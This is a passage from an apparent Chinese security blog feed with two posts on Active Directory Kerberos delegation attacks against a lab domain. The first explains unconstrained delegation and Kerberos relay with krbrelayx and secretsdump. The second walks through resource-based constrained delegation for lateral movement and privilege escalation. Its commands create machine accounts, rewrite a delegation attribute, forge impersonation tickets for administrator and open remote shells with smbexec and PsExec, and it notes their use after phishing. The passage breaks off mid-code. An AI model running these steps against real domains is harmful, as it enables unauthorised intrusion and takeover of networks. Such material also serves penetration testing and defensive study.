class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> KRB5CCNAME=/path/to/ticket.ccache</span><br><span class="line">python3 secretsdump.py -k dc.test.local -just-dc</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630584870307-81852d2e-2da9-4564-88da-e42abd72afad.png" alt="img"></p><h3><span id="0x03-相关技术细节">0x03 相关技术细节</span></h3><h4><span id="31-kerberos加密方式">3.1 Kerberos加密方式</span></h4><p>Kerberos 的加密方式可以在域控的「本地安全策略」中进行设置：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630662100528-463524e8-bf77-47c0-b804-aee510d82b7d.png" alt="img"></p><p>AD 支持的最弱加密方式是 RC4，他是没有用 salt 值进行加密。但是默认情况下 Kerberos 密钥使用的 AES-128 和 AES-256 进行加密，它是包含了 salt 值。</p><ol><li><ol><li>对于用户账号，他的格式是大写的域名+区分大小写的用户名，例如：TEST.LOCALTestUser</li></ol></li></ol><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630665768387-010818f1-bfc6-4779-aff4-921a1f51c3ae.png" alt="img"></p><ol><li><ol><li>对于机器账号，他是大写的域名+host+完整的小写主机名，例如：TEST.LOCALhostwin10.test.local</li></ol></li></ol><p>​            <img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630665758278-7821eb7b-b9c2-4616-8169-44ca72663e1e.png" alt="img"></p><p>同样在我们获取到了明文密码和 salt 时候，可以用加密得到 AES-256 密文。如服务账号场景下，我们用到的命令是</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo python3 krbrelayx.py --krbsalt TEST.testuser --krbpass Password1</span><br></pre></td></tr></table></figure><p>krbrelayx.py 会自动去计算 AES-256 密文。</p><h4><span id="32-非约束委派流程">3.2 非约束委派流程</span></h4><p>当我们执行 printerbug.py 的时候，我们在攻击机 kali 上会接收到一个 AP_REP 的包，它是在一个 SMB 的包里被 GSS-API 和 SPNEGO 协议都用于封装的，可以看到他 Ticket 里的 SPN 为我们添加的恶意 SPN。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630898452970-b065e397-7f71-40a6-b4cc-aaed8e3c3805.png" alt="img"></p><p>那为什么我们在 kali 上面只抓到一个 AP_REP 请求呢，AS 过程、TGS 过程和 AP_REQ 过程去哪里了呢？带着这个疑问往下走：</p><ul><li>AP_REQ 过程，因为我们的 kali 无法正常的像域内机器一样响应这个 AP_REP，同时我们也没有启动 krbrelayx.py 来做一个监听处理。</li><li>AS 和 TGS 过程，是因为我们打印机漏洞是对域控的机器账户即 <strong>DC$</strong> 触发他对我们添加的恶意 SPN 主机 <strong>PWNED</strong> 身份认证。AS 和 TGS 的过程是客户端跟 <strong>KDC（</strong>Key Distribution Center）进行通信的，这里的 KDC 就是域控。所以我们在攻击机上是抓不到 AS 和 TGS 过程的。</li></ul><p>如下图，是一个完整的 kerberos认证过程（委派情况下）。<img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630914935688-79ea8643-8959-4260-a8f2-5b9db17e9391.png" alt="img"></p><p>192.168.247.110 为域内一台普通主机，我使用域管登录。然后在上面执行 <strong>dir \192.168.247.10\c$</strong> 命令，可以看到一个完整的kerberos认证过程，其中192.168.247.8为域控，192.168.247.10 被设置了非约束委派。</p><p>在第一个 AS_REP 中，我们可以看到加密 Kerberos 密钥用到的 salt。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630915281251-d0cdc46a-035e-423c-9071-21814a9176fc.png" alt="img"></p><p>在第一个 TGS_REQ 里，有我们请求的服务 cifs\win10.test.local。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630915529350-d6ff9fb0-b585-4a8a-9a7b-760b10c23176.png" alt="img"></p><p>第二个 TGS_REQ 里，请求的 krbtgt/test.local 的SPN，而且它有个 forwared 的标志，这个标志就代表这个 TGT 能用来进行委派。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630915741377-429ea143-aa36-4653-9ea7-0c7f9cb789e3.png" alt="img"></p><p>在 Windows 下可以利用 klist 命令查看当前会话的票据信息，其中可以看到客户端，服务端，kerberos 票证的加密类型，票证的标志，有效期，其中被设置了委派的票据是含有 <strong>ok_as_delegate</strong> 的字样的。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630920646208-1e3f8627-5ed5-4488-9e56-acd3b50ba2c4.png" alt="img"></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630920652116-29304213-6b02-4999-9537-f336583011c7.png" alt="img"></p><p>前面的 AS 和 TGS 都是客户端（192.168.247.110）跟 KDC（192.168.247.8）进行通信的过程，最后的 AP 过程就是客户端（192.168.247.110）跟服务（192.168.247.10）进行通信的过程，其中 AP_REQ 是含有 TGS 获取获取到的 TGS 票据的，然后AP_REP 过程中，服务（192.168.247.10）会使用自己的 hash 解密 TGS 票据。判断客户端（192.168.247.110）是否有访问服务（192.168.247.10）的权限。有从而完整的完成了一次 Kerberos 协议的流程。</p><h4><span id="33-krbrelayx作用">3.3 krbrelayx作用</span></h4><p>在 AP_REQ 中，我们可以看到 Ticket 信息和 authenticator 信息。</p><ul><li>ticket 是通过服务的密码进行加密，他包含了用户的认证信息和会话密钥(session key)。它也可以用来进行认证，因为他包含一个用户所属组的 PAC。</li><li>authenticator 是用会话密钥(session key）加密的结构。 用来证明客户端拥有此密钥并用于对客户端进行身份验证</li></ul><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630917052945-8e9cae2a-5c63-4176-b3e1-9525646f4341.png" alt="img"></p><p>同时一个含有委派 TGT 的 AP_REQ 和不含有委派 TGT 的 AP_REQ，他的数据包大小是不一样的，含有的数据包会很大。如下图，上部分是委派情况下的，下面是正常情况下的。AP_REQ 数据包大小是不一样的，另外还会多出一个 TGS 的过程。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630918128013-7e8c3473-2e65-4995-8816-24d96e47bd3b.png" alt="img"></p><p>利用计算的好的 kerberos 密钥，即 AES256 密文是可以解密 AP_REQ 中的 Ticket 的，通过修改 krbrelayx.py 输出解密后的结构体：</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630918888891-439605fb-7d38-49ff-ac5d-c631e447b8b9.png" alt="img"></p><p>其中包含 Ticket的有效期，Ticket 的用户名，还有授权信息（其中包含用户PAC）和会话密钥（session key）。</p><p>然后用 session key 可以来解密 authenticator。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630919179216-e1b81d9c-48d7-494f-8d1e-dbf56d156cd3.png" alt="img"></p><p>解密后除了跟上面一样的信息，多出了一个 checksum，在这个字段里就包含了委派 TGT 的 KRB_CRED 结构体。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630919488664-36e54dd6-3ea9-4952-a533-a3c942187fe7.png" alt="img"></p><p>然后脚本会进行最后一步解密 enc-part 部分，这个部分包含与委托的 TGT 关联的会话密钥，我们需要在 DC 请求服务票证，解密后就会保存为ccache的格式。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630919987105-e4ae5e22-bcee-45ca-91bc-e05ad609df8d.png" alt="img"></p><p>这样我们就获取到了第二个 TGS_REQ 中看到的请求的 krbtgt/test.local 的SPN，且拥有 forwared 标志，可以用来委派的 TGT。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1630919649943-dbb431c1-5712-428e-80cc-e07f0536c949.png" alt="img"></p><h3><span id="0x04-答疑">0x04 答疑</span></h3><h4><span id="41为什么要添加-spn">4.1.为什么要添加 SPN</span></h4><p>服务主体名称（SPN: Service Principal Names）是服务实例，可以将其理解为一个服务（比如 HTTP、MSSQL）的唯一标识符，服务在加入域中时是自动注册的。使用 Kerberos 协议来认证服务，那么必须正确配置 SPN。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;service class&gt;/&lt;host&gt;:&lt;port&gt; &lt;servername&gt;</span><br><span class="line">服务类型/对应机器名:服务端口[默认端口可不写]</span><br><span class="line">MSSQLSvc/SQLServer.rcoil.me:1433</span><br></pre></td></tr></table></figure><p>由上面的技术细节，我们也了解到了kerberos的认证过程是跟SPN紧密相关的，我们想让域控对我们的控制的主机通过SMB协议进行身份认证成功，就必须注册正确的SPN。确保通过打印机漏洞触发无约束委派对账户进行身份认证且我们可以正常的解密票证。</p><h4><span id="42为什么要用-aes256-密文">4.2.为什么要用 AES256 密文</span></h4><p>由上面的技术细节，可以知道 AES256 是用来加解密 Kerberos 票证的，我们在知道主机的密码和 SALT 的情况下是可以正常的解密 Kerberos 票证，最后得到一个具有委派标志的 TGT。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3&gt;&lt;span id=&quot;0x00-前言&quot;&gt;0x00 前言&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;本文将从两个场景阐述【非约束委派 + Kerberos 中继】的组合使用。&lt;/p&gt;
&lt;p&gt;两个场景中，攻击机均在域外（同内网）&lt;/p&gt;
&lt;h3&gt;&lt;span id=&quot;0x01-实战场景一拥有已
      
    
    </summary>
    
      <category term="笔记" scheme="https://uknowsec.cn/categories/notes/"/>
    
    
  </entry>
  
  <entry>
    <title>基于资源的约束委派</title>
    <link href="https://uknowsec.cn/posts/notes/%E5%9F%BA%E4%BA%8E%E8%B5%84%E6%BA%90%E7%9A%84%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE.html"/>
    <id>https://uknowsec.cn/posts/notes/基于资源的约束委派.html</id>
    <published>2021-08-29T16:17:17.000Z</published>
    <updated>2024-01-17T15:48:01.208Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="0x00-前言">0x00 前言</span></h3><p><strong>基于资源的约束委派(RBCD)</strong>是在 Windows Server 2012 中新加入的功能，与传统的约束委派相比，它不再需要域管理员权限去设置相关属性。RBCD 把设置委派的权限赋予了机器自身，既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来设置 RBCD。</p><p>那么<strong>谁有权限配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性</strong></p><ul><li>将机器加入域的账号，也就是 mS-DS-CreatorSID 属性中的账户</li><li>机器账户自身也可以修改</li></ul><p><strong>利用基于资源的约束委派(RBCD)需要2个条件：</strong></p><p><strong>1.拥有将域机器加入域的域用户的权限</strong>。（将机器加入域的域用户拥有修改该机器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限。）</p><p><strong>2.一个任意服务账户或者一个机器账户</strong>（每一个域用户都可以添加 10 个机器账户，添加的机器账户默认会注册 spn 服务）</p><h3><span id="0x01-横向">0x01 横向</span></h3><h4><span id="11环境说明">1.1.环境说明</span></h4><table><thead><tr><th>主机</th><th>机器名</th><th>ip</th></tr></thead><tbody><tr><td>域控</td><td>dc.test.local</td><td>192.168.247.8</td></tr><tr><td>域内win10（已控）</td><td>win10.test.local</td><td>192.168.247.10</td></tr><tr><td>域内win2012（目标）</td><td>win2012.test.local</td><td>192.168.247.11</td></tr></tbody></table><h4><span id="12信息收集">1.2.信息收集</span></h4><ul><li><strong>通过 ADFind 查找将域机器拉入域的用户的 SID：</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AdFind.exe -b &quot;DC=test,DC=local&quot; -f &quot;(&amp;(samAccountType=805306369))&quot; cn mS-DS-CreatorSID</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628754987842-f5b382bd-0425-463e-b621-5f64efe08518.png" alt="img"></p><p>可以发现<code>WIN10</code>和<code>WIN2012</code>的<code>mS-DS-CreatorSID</code>值是相同的，说明他们是用的同一个域账号进行加域操作的。同时显示<code>mS-DS-CreatorSID</code>值为空说明他们是使用的域管账号进行加域操作的。</p><ul><li><strong>查看SID对应的域账号</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AdFind.exe -b &quot;DC=test,DC=local&quot; -f &quot;(&amp;(objectsid=S-1-5-21-3289781467-4043238699-2345174683-2603))&quot; objectclass cn dn</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628754994261-5ec49e26-38de-4a4b-8600-c30f43da35de.png" alt="img"></p><p>发现对应的域账号即当前我们获取的域账号权限。</p><p>同样上面的信息收集可以通过一个程序一步到位，代码来自：<a href="https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw" target="_blank" rel="noopener">微软不认的“0day”之域内本地提权-烂番茄（Rotten Tomato）</a></p><p>.NET 实现在域内查询计算机”mS-DS-CreatorSID”属性的工具</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">using</span> System;</span><br><span class="line"><span class="keyword">using</span> System.Security.Principal;</span><br><span class="line"><span class="keyword">using</span> System.DirectoryServices;</span><br><span class="line"><span class="keyword">namespace</span> ConsoleApp9</span><br><span class="line">&#123;</span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Program</span></span></span><br><span class="line"><span class="class">    &#123;</span></span><br><span class="line">        <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">Main</span><span class="params">(<span class="built_in">string</span>[] args)</span></span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            DirectoryEntry ldap_conn = <span class="keyword">new</span> DirectoryEntry(<span class="string">"LDAP://dc=test,dc=local"</span>);</span><br><span class="line">            DirectorySearcher search = <span class="keyword">new</span> DirectorySearcher(ldap_conn);</span><br><span class="line">            String query = <span class="string">"(&amp;(objectClass=computer))"</span>;<span class="comment">//查找计算机</span></span><br><span class="line">            search.Filter = query;</span><br><span class="line">            foreach (SearchResult r in search.FindAll())</span><br><span class="line">            &#123;</span><br><span class="line">                String mS_DS_CreatorSID=<span class="string">""</span>;</span><br><span class="line">                String computername = <span class="string">""</span>;</span><br><span class="line">                <span class="keyword">try</span></span><br><span class="line">                &#123;</span><br><span class="line">                    computername = r.Properties[<span class="string">"dNSHostName"</span>][<span class="number">0</span>].ToString();</span><br><span class="line"></span><br><span class="line">                    mS_DS_CreatorSID = (<span class="keyword">new</span> SecurityIdentifier((byte[])r.Properties[<span class="string">"mS-DS-CreatorSID"</span>][<span class="number">0</span>], <span class="number">0</span>)).ToString();</span><br><span class="line">                    <span class="comment">//Console.WriteLine("&#123;0&#125; &#123;1&#125;\n", computername, mS_DS_CreatorSID);</span></span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">catch</span></span><br><span class="line">                &#123;</span><br><span class="line">                    ;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">//再通过sid找用户名</span></span><br><span class="line">                String UserQuery = <span class="string">"(&amp;(objectClass=user))"</span>;</span><br><span class="line">                DirectorySearcher search2 = <span class="keyword">new</span> DirectorySearcher(ldap_conn);</span><br><span class="line">                search2.Filter = UserQuery;</span><br><span class="line"></span><br><span class="line">                foreach (SearchResult u in search2.FindAll())</span><br><span class="line">                &#123;</span><br><span class="line">                    String user_sid = (<span class="keyword">new</span> SecurityIdentifier((byte[])u.Properties[<span class="string">"objectSid"</span>][<span class="number">0</span>], <span class="number">0</span>)).ToString();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">                    <span class="keyword">if</span> (user_sid == mS_DS_CreatorSID) &#123;</span><br><span class="line">                        <span class="comment">//Console.WriteLine("debug");</span></span><br><span class="line">                        String username = u.Properties[<span class="string">"name"</span>][<span class="number">0</span>].ToString();</span><br><span class="line">                        Console.WriteLine(<span class="string">"[*] [&#123;0&#125;] -&gt; creator  [&#123;1&#125;]"</span>,computername, username);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样就可以直接看到域内的主机是通过哪个域账号进行的加域操作。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755002519-f11b96f4-d5fb-42da-86e8-2d58bf76818d.png" alt="img"></p><h4><span id="13创建机器用户">1.3.创建机器用户</span></h4><p>默认域控的 ms-DS-MachineAccountQuota 属性设置允许所有域用户向一个域添加最多 10 个计算机账户；</p><p>同时使用域账户创建或加入域的机器账户自动注册 SPN 变为服务账户。</p><p>所以我们创建了一个机器用户就相当于拥有了服务账户。</p><ul><li><strong>Powermad</strong></li></ul><p>可以使用<a href="https://github.com/Kevin-Robertson/Powermad" target="_blank" rel="noopener">Powermad</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe -exec bypass -Command &quot;&amp; &#123;Import-Module C:\Users\adduser\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount -MachineAccount evilpc -Password $(ConvertTo-SecureString &quot;1qaz@WSX&quot; -AsPlainText -Force)&#125;&quot;</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755008197-a1585daf-df4e-4036-9060-75e871ef8417.png" alt="img"></p><p>可以看到成功添加了机器用户<code>evilpc$</code>。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setspn.exe -q */*</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755013609-f99a29f9-b782-4e12-bfa1-34a2d2ddc350.png" alt="img"></p><p>同时注册了spn服务。</p><ul><li><strong>addcomputer.py</strong></li></ul><p>使用impacket套件中的addcomputer.py添加(无需在域内，只需要拥有一个域账号和网络通即可)。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 addcomputer.py -dc-ip 192.168.247.8 -computer-name evilpc2 -computer-pass 123456 &quot;test.local/adduser:1qaz@WSX&quot;</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755020135-10b69774-bce9-4159-95a8-a018670974bc.png" alt="img"></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755024656-42a8c733-b8b6-41ee-94e1-c5851b9ed459.png" alt="img"></p><h4><span id="14配置基于资源的约束委派">1.4.配置基于资源的约束委派</span></h4><h5><span id="powerviewps1empire">powerview.ps1(Empire)</span></h5><p><strong>查询添加机器的SID</strong></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe -exec bypass -Command <span class="string">"&amp; &#123;Import-Module .\powerview.ps1;Get-DomainComputer -Identity evilpc -Properties objectsid&#125;"</span></span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755029875-4fbee3a8-c9be-47de-b95f-ddf8885363cc.png" alt="img"></p><p><strong>配置基于资源的约束委派</strong></p><p>修改SID为添加用户的SID，修改<code>Get-DomainComputer</code>后面跟目标主机名。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Import-Module</span> .\powerview.ps1</span><br><span class="line"><span class="variable">$SD</span> = <span class="built_in">New-Object</span> Security.AccessControl.RawSecurityDescriptor -ArgumentList <span class="string">"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3289781467-4043238699-2345174683-2606)"</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$SDBytes</span> = <span class="built_in">New-Object</span> byte[] (<span class="variable">$SD</span>.BinaryLength)</span><br><span class="line"></span><br><span class="line"><span class="variable">$SD</span>.GetBinaryForm(<span class="variable">$SDBytes</span>, <span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">Get-DomainComputer WIN2012| Set-DomainObject -Set @&#123;<span class="string">'msds-allowedtoactonbehalfofotheridentity'</span>=<span class="variable">$SDBytes</span>&#125; -Verbose</span><br></pre></td></tr></table></figure><p>在非交互的情况下可以将如下代码保存为 rbcd.ps1</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$SD</span> = <span class="built_in">New-Object</span> Security.AccessControl.RawSecurityDescriptor -ArgumentList <span class="string">"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3289781467-4043238699-2345174683-2606)"</span></span><br><span class="line"><span class="variable">$SDBytes</span> = <span class="built_in">New-Object</span> byte[] (<span class="variable">$SD</span>.BinaryLength)</span><br><span class="line"><span class="variable">$SD</span>.GetBinaryForm(<span class="variable">$SDBytes</span>, <span class="number">0</span>)</span><br><span class="line"><span class="built_in">Import-Module</span> C:\Users\adduser\Desktop\powerview.ps1</span><br><span class="line">Get-DomainComputer WIN2012 | Set-DomainObject -Set @&#123;<span class="string">'msds-allowedtoactonbehalfofotheridentity'</span>=<span class="variable">$SDBytes</span>&#125; -Verbose</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell -ExecutionPolicy bypass -File ./rbcd.ps1</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755036362-9df3bf71-7ee5-457c-8264-212507112feb.png" alt="img"></p><p><strong>检查是否配置成功</strong></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe -exec bypass -Command <span class="string">"&amp; &#123;Import-Module .\powerview.ps1;Get-DomainComputer WIN2012 -Properties msds-allowedtoactonbehalfofotheridentity&#125;"</span></span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755046389-cbe82ec0-406f-4267-b3bb-985b52312f2a.png" alt="img"></p><p><strong>攻击完成清除基于资源的约束委派配置：</strong></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe -exec bypass -Command <span class="string">"&amp; &#123;Import-Module .\powerview.ps1;Set-DomainObject WIN2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose&#125;"</span></span><br></pre></td></tr></table></figure><h5><span id="rbcdpy">rbcd.py</span></h5><p><a href="https://github.com/tothi/rbcd-attack，依赖impacket，域外一步到位。" target="_blank" rel="noopener">https://github.com/tothi/rbcd-attack，依赖impacket，域外一步到位。</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 rbcd.py -f EVILPC2 -t WIN2012 -dc-ip 192.168.247.8 test\\adduser:1qaz@WSX</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755068536-c1d33310-e3ba-444f-9731-1569de09c3f0.png" alt="img"></p><h4><span id="15获取票据">1.5.获取票据</span></h4><h5><span id="rubeus142">Rubeus(1.4.2)</span></h5><p>Rubeus1.4.2需要依赖.net3.5。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe hash /user:evilpc /password:1qaz@WSX /domain:test.local</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755081343-2432caf5-5fa9-4ca3-ad3b-e800f0c9d7e4.png" alt="img"></p><p>我尝试从网上下载Rubeus.exe2.0发现s4u失败了，1.4.2版本没问题。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe s4u /user:evilpc$ /rc4:161CFF084477FE596A5DB81874498A24 /impersonateuser:administrator /msdsspn:cifs/WIN2012 /ptt</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755117763-afce8d49-1aea-44ee-bb81-699854817239.png" alt="img"></p><p>再申请一个host服务的票据</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe s4u /user:evilpc$ /rc4:161CFF084477FE596A5DB81874498A24 /impersonateuser:administrator /msdsspn:cifs/WIN2012 /ptt</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PsExec.exe \\WIN2012 cmd.exe</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755124288-34f27c1c-e6e4-4f22-9b68-6c65379b3fe0.png" alt="img"></p><h5><span id="getstpy">getST.py</span></h5><p>在域外且有域账号的情况下。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python3 getST.py -dc-ip 192.168.247.8 -spn cifs/WIN2012.test.local -impersonate administrator test.local/evilpc2$:123456</span><br><span class="line">export KRB5CCNAME=`pwd`/administrator.ccache</span><br><span class="line">klist</span><br><span class="line">python3 smbexec.py -no-pass -k WIN2012.test.local</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755131472-3d83e48d-bf30-4251-8902-bf262ea70ebe.png" alt="img"></p><h3><span id="0x02-提权">0x02 提权</span></h3><h4><span id="21场景说明">2.1.场景说明</span></h4><p>在我们做社工钓鱼的时候经常会上线一些域账号，但是这些域用户没有在本地管理员组里面，我们是没有去抓密码啥的。所以就需要提权。</p><p><strong>前提条件：上线的域账号为该机器加入域用到的域账号</strong></p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com/1628755135562-5fdaffd6-1904-4b40-a7a1-530cd5dbca5a.png" alt="img"></p><h4><span id="22利用rbcd进行提权">2.2.利用RBCD进行提权</span></h4><p>这里就利用RBCD进行提权，可以用以下代码实现 RBCD 创建机器账户和配置基于资源的约束委派的全过程。</p><p>代码来自：<a href="https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw" target="_blank" rel="noopener">微软不认的“0day”之域内本地提权-烂番茄（Rotten Tomato）</a></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span 